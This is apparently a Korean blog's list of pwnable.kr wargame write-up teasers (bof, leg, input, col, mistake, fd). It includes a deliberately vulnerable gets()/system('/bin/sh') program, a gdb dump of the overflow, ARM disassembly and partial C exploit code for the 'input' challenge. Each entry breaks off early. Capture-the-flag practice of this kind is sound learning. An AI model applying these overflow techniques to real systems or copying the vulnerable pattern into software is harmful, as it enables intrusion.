본문 바로가기

워게임/pwnable.kr

bof #include #include #include void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme);// smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}}int main(int argc, char* argv[]){func(0xdeadbeef);return 0;} (gdb) x/20x $ebp-0x2c0xbffff63c:0x414141410x414141410x414141410x414141410xbffff64c:0x414141410x414141410x414141410x414141410xbffff65c:0x414141410x80004.. 더보기
leg key()+key2()+key3()하고 유저에게 입력받은 intager를 비교해서 맞으면 출력함. (gdb) disass mainDump of assembler code for function main: 0x00008d3c :push{r4, r11, lr} 0x00008d40 :addr11, sp, #8 0x00008d44 :subsp, sp, #12 0x00008d48 :movr3, #0 0x00008d4c :strr3, [r11, #-16] 0x00008d50 :ldrr0, [pc, #104]; 0x8dc0 0x00008d54 :bl0xfb6c 0x00008d58 :subr3, r11, #16 0x00008d5c :ldrr0, [pc, #96]; 0x8dc4 0x00008d60 :movr1, r3 0.. 더보기
input stage1부터.. 배열에 그냥 아무 값도 안넣으니까 argv['A'] 체크는 걍 해결됐고, 같은 방식으로 B,C(마지막 스테이지)도 해결. #include #include #include #include #include #include int main () { //stage 1 char *argv[101] = {[0 ... 99] = ""}; char *envp[] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL}; //stage 3 argv['B'] = "\x20\x0a\x0d"; argv['C'] = "11111"; //stage 2 int pipe1[2], pipe2[2]; if(pipe(pipe1)==-1 || pipe(pipe2)==-1) { exit(1); }.. 더보기
col 입력받을 값이 20바이트있음. 대강 [1-4][5-7][8-11][12-15][16-19] 이렇게 각각 더함. 참고로 언사인드임 ffffffff까지 감. 노가다로 품 더보기
mistake 그 이게 18번째 라인 보면 if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)라고 되어있음근데 실제론 더보기
fd fd의 integer value가 0이면 input을 받게되어있음 근데 1이건 2건 상관없이 int(0x1234) 값을 입력 후 LETMELIN인가? 그거쓰면 답나옴. 더보기